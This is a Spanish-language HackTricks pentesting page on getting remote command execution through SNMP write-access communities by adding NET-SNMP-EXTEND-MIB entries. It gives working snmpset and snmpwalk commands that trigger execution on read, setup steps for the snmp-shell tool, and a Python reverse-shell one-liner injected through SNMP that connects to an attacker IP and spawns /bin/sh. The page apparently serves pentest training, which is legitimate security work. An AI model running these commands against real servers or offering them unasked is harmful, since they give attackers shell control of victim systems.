hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md

73 lines
5.1 KiB
Markdown

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# SNMP RCE
SNMP puede ser explotado por un atacante si el administrador pasa por alto su configuración predeterminada en el dispositivo o servidor. Al **abusar de la comunidad SNMP con permisos de escritura (rwcommunity)** en un sistema operativo Linux, el atacante puede ejecutar comandos en el servidor.
## Extending Services with Additional Commands
Para extender los servicios SNMP y agregar comandos adicionales, es posible agregar nuevas **filas a la tabla "nsExtendObjects"**. Esto se puede lograr utilizando el comando `snmpset` y proporcionando los parámetros necesarios, incluyendo la ruta absoluta al ejecutable y el comando a ejecutar:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
## Inyección de Comandos para Ejecución
Inyectar comandos para que se ejecuten en el servicio SNMP requiere la existencia y ejecutabilidad del binario/script llamado. El **`NET-SNMP-EXTEND-MIB`** exige proporcionar la ruta absoluta al ejecutable.
Para confirmar la ejecución del comando inyectado, se puede usar el comando `snmpwalk` para enumerar el servicio SNMP. **La salida mostrará el comando y sus detalles asociados**, incluida la ruta absoluta:
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## Ejecutando los Comandos Inyectados
Cuando el **comando inyectado es leído, se ejecuta**. Este comportamiento se conoce como **`run-on-read()`**. La ejecución del comando se puede observar durante la lectura de snmpwalk.
### Obteniendo Shell del Servidor con SNMP
Para obtener control sobre el servidor y conseguir un shell del servidor, se puede utilizar un script de python desarrollado por mxrch desde [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
Alternativamente, se puede crear manualmente un shell inverso inyectando un comando específico en SNMP. Este comando, activado por el snmpwalk, establece una conexión de shell inverso a la máquina del atacante, permitiendo el control sobre la máquina de la víctima. Puedes instalar el requisito previo para ejecutar esto:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
O un shell inverso:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
## Referencias
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}